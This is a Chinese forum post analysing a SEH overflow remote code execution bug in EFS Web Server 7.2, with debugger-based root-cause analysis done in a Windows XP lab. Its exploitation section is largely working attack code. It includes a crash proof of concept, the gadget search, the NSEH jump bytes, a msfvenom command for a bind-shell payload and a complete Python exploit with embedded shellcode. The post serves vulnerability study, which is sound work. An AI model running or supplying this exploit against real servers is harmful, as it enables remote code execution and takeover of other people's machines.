首页
社区
课程
招聘
[原创]EFS Web Server 7.2远程代码执行漏洞分析
2021-4-20 00:10 8260

[原创]EFS Web Server 7.2远程代码执行漏洞分析

2021-4-20 00:10
8260

EFS Web Server 7.2远程代码执行漏洞分析

目录

一、漏洞描述

  • 漏洞软件:EFS Web Server 7.2 GET请求远程代码执行漏洞(SEH)

  • 漏洞链接:https://www.exploit-db.com/exploits/42261

  • 软件下载:https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe

  • 利用简述:利用SEH劫持程序执行流到shellcode,难度不大,适合学习windows的SEH漏洞利用

二、漏洞分析

1. 环境搭建

  • 靶机环境:Windows xp sp3
    • EFS Web Server 7.2
    • windbg
    • mona
  • 攻击机环境:kali
    • pwntools
    • metasploit

2. 漏洞复现与分析

编写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys, socket
from pwn import *
 
ip = "192.168.112.146"
port = 80
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
 
payload = flat("GET ", 'A'*20000, " HTTP/1.0\r\n\r\n")
 
s.send(payload)
s.recv(1024)

用windbg附加漏洞程序,发送poc,触发漏洞

 

 

查看eax,eax+4c不可读,导致异常

 

 

继续运行,eip指向了0x41414141,同时发现ecx也指向了0x41414141

 

 

查看栈

 

 

栈回溯,分别跟踪查看61c277f6,61c6286c,004968EF

 

用IDA打开sqlite3.dll,查看61c277f6,此处由于访问 eax+4cH 错误,导致异常,重点关注eax即a1,函数传参为a1且没有改变a1的值,所以应回溯上一个函数分析

1
.text:61C277F6 81 78 4C 97 A6 29+cmp     dword ptr [eax+4Ch], 0A029A697h

 

查看61c6286c后发现应当继续回溯,直到004968EF:因为调用sqlite3_prepare_v2()导致异常,继续回溯查看参数是什么,但是发现windbg上一层函数已被覆盖,应重新调试,在4968D0下断点

 

 

在4968D0断下,逐步运行到004968ef,查看参数,第一个参数this指针为41414141,已经出现异常,需要继续回溯

 

 

但栈帧已被畸形数据覆盖,无法查看上一级函数,但是可以查看栈中保存的参数

 

 

关键字符串 select * from sqltable where name = ''sql语句,查找程序中调用这个字符串的函数

 


 

有两处调用目标字符串00497584、00497748,经排查后确定00497748地址为可疑函数

 

1
2
sprintf(&v15, aSelectFromSWhe, Sqltable, v11, a3);
(int __thiscall) sub_4968D0(v4, (int)&v12, (int)&v15);

sprintf 函数将格式化后的sql语句存放进栈上的地址v15即01ba5fd4,其中SQL语句保存畸形字符串a3的内容

 

在windbg中查看sub_4968D0的参数,thiscall调用约定中this保存在ecx

 

v4 = ecx,&v12 = esp,&v15 = esp+4,此时ecx即01ba7058的地址为畸形字符串,这是由于v15保存的内容覆盖而致

 


 

查看sub_4968D0中sqlite3_prepare_v2函数的参数

1
int __cdecl sqlite3_prepare_v2(*this, a3, -1, (int)&a3, 0)

 

可以看到第一个参数为畸形字符串,在调用sqlite3_prepare_v2函数之前在004968ec将ecx内的值传递给第一个参数,ecx是sub_4968D0传递给sqlite3_prepare_v2的,值为01ba7058

 

 

继续执行直到触发漏洞,可以得知ecx指向的地址01ba7058保存的是关键内容,前面分析得知程序在00497748处调用sprintf函数将畸形字符串赋值给了v15指向的01ba5fd4一直覆盖到了01ba7058,覆盖了ecx原本关键指针的内容,导致漏洞

 

漏洞原因总结:在sql语句赋值,由于没有对参数进行有效的检查,导致ecx指针对应的内容被sql语句中畸形变量覆盖,后续对ecx指针内容访问时出现了访问地址异常,进入SEH异常处理流程,导致代码执行

三、漏洞利用

1. 背景知识

SEH即Windows结构化异常处理程序,用于处理程序发生的错误或异常,SEH结构存放在栈中,多个 SEH 通过链表指针在栈内由栈顶向栈底串成单向链表,发生异常时,程序顺着最近的SEH链表依次尝试其他异常处理函数,这里引用《0day安全》中的图

 

 

当程序执行异常处理函数时,函数创建自己的栈帧,会把next SEH的地址压入栈中,正好时esp+8的位置,那么我们劫持程序执行流方法为把异常处理函数改为pop_pop_ret的gadget,执行之后会跳转到next_seh处执行,将next_seh的值改为跳转到shellcode的代码,即可实现程序处理异常时执行shellcode的目的。这种攻击方法能够绕过SafeSEH。有关SEH攻击的内容可参考《0day安全》的第6.1和11章

 

2. 利用流程

exploit整体思路:程序触发异常后跳转到handler后执行pop_pop_ret,跳转到NSEH执行jmp2shellcode,进而执行shelldcode

 

 

写exploit步骤

 

发送最初的poc,查看seh链,确定seh的位置4061

1
!exchain

 

使用mona插件在内存中寻找用于攻击seh的gadget,pop_pop_ret

1
!py mona seh

 

选择一个可执行的地址0x100103fe,编写exploit的雏形

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sys, socket
from pwn import *
 
ip = "192.168.112.146"
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
 
nseh = "NSEH"
pop_pop_ret = 0x100103fe
shellcode = 'B'*8000
payload = flat("GET ", cyclic(4061), nseh, pop_pop_ret, shellcode, " HTTP/1.0\r\n\r\n")
 
s.send(payload)
s.recv(1024)

发送exploit可以看到seh链的nseh指针指向了"NESH",seh handler指向了0x100103fe

 

 

在0x100103fe处设置断点,使进程运行到断点处,会执行pop esi,pop edi,ret三条语句,返回到01bafd4即NESH

 

 

使NSEH跳转到shellcode,jmp 0x12 = \xeb\x12

1
nesh = "\xeb\x12\x90\x90"

排除坏字符:"\x20\x2b\x2f\x5c" 分别为 “ +/\”,可能这些字符在创建sql语句时进行了特殊处理

 

生成shellcode

1
msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x20\x2b\x2f\x5c'  -n 0x20 -f py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import sys, socket
from pwn import *
 
ip = "192.168.112.146"
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
 
#msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x20\x2b\x2f\x5c' -n 0x20 -f py
buf =  b"\x90"*0xc
buf += b"\xf9\x92\x4a\xf9\x41\xfc\x9b\x9b\x92\x4a\x48\xf9\xfd"
buf += b"\x43\x90\x4a\x37\x41\x37\x98\x91\x49\x41\x4b\x91\x93"
buf += b"\xf5\xfd\x43\x48\x90\x27\xda\xc1\xbd\xa1\x9e\x47\x62"
buf += b"\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x53\x83\xc2\x04\x31"
buf += b"\x6a\x13\x03\xcb\x8d\xa5\x97\xf7\x5a\xab\x58\x07\x9b"
buf += b"\xcc\xd1\xe2\xaa\xcc\x86\x67\x9c\xfc\xcd\x25\x11\x76"
buf += b"\x83\xdd\xa2\xfa\x0c\xd2\x03\xb0\x6a\xdd\x94\xe9\x4f"
buf += b"\x7c\x17\xf0\x83\x5e\x26\x3b\xd6\x9f\x6f\x26\x1b\xcd"
buf += b"\x38\x2c\x8e\xe1\x4d\x78\x13\x8a\x1e\x6c\x13\x6f\xd6"
buf += b"\x8f\x32\x3e\x6c\xd6\x94\xc1\xa1\x62\x9d\xd9\xa6\x4f"
buf += b"\x57\x52\x1c\x3b\x66\xb2\x6c\xc4\xc5\xfb\x40\x37\x17"
buf += b"\x3c\x66\xa8\x62\x34\x94\x55\x75\x83\xe6\x81\xf0\x17"
buf += b"\x40\x41\xa2\xf3\x70\x86\x35\x70\x7e\x63\x31\xde\x63"
buf += b"\x72\x96\x55\x9f\xff\x19\xb9\x29\xbb\x3d\x1d\x71\x1f"
buf += b"\x5f\x04\xdf\xce\x60\x56\x80\xaf\xc4\x1d\x2d\xbb\x74"
buf += b"\x7c\x3a\x08\xb5\x7e\xba\x06\xce\x0d\x88\x89\x64\x99"
buf += b"\xa0\x42\xa3\x5e\xc6\x78\x13\xf0\x39\x83\x64\xd9\xfd"
buf += b"\xd7\x34\x71\xd7\x57\xdf\x81\xd8\x8d\x4a\x89\x7f\x7e"
buf += b"\x69\x74\x3f\x2e\x2d\xd6\xa8\x24\xa2\x09\xc8\x46\x68"
buf += b"\x22\x61\xbb\x93\x5d\x2e\x32\x75\x37\xde\x12\x2d\xaf"
buf += b"\x1c\x41\xe6\x48\x5e\xa3\x5e\xfe\x17\xa5\x59\x01\xa8"
buf += b"\xe3\xcd\x95\x23\xe0\xc9\x84\x33\x2d\x7a\xd1\xa4\xbb"
buf += b"\xeb\x90\x55\xbb\x21\x42\xf5\x2e\xae\x92\x70\x53\x79"
buf += b"\xc5\xd5\xa5\x70\x83\xcb\x9c\x2a\xb1\x11\x78\x14\x71"
buf += b"\xce\xb9\x9b\x78\x83\x86\xbf\x6a\x5d\x06\x84\xde\x31"
buf += b"\x51\x52\x88\xf7\x0b\x14\x62\xae\xe0\xfe\xe2\x37\xcb"
buf += b"\xc0\x74\x38\x06\xb7\x98\x89\xff\x8e\xa7\x26\x68\x07"
buf += b"\xd0\x5a\x08\xe8\x0b\xdf\x38\xa3\x11\x76\xd1\x6a\xc0"
buf += b"\xca\xbc\x8c\x3f\x08\xb9\x0e\xb5\xf1\x3e\x0e\xbc\xf4"
buf += b"\x7b\x88\x2d\x85\x14\x7d\x51\x3a\x14\x54"
 
nseh = b"\xeb\x12\x90\x90"  #jmp 0x12
pop_pop_ret = 0x100103fe    #pop pop ret ImageLoad.dll (WinXP SP3)
buf += b'\x90'*8000         #确保payload足够以长触发漏洞
payload = flat("GET ", cyclic(4061), nseh, pop_pop_ret, buf, " HTTP/1.0\r\n\r\n")
 
s.send(payload)
s.recv(1024)

发送payload,攻击成功

 

四、参考文献

  • https://www.freebuf.com/articles/system/170703.html

  • https://blog.csdn.net/u012763794/article/details/66970749


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回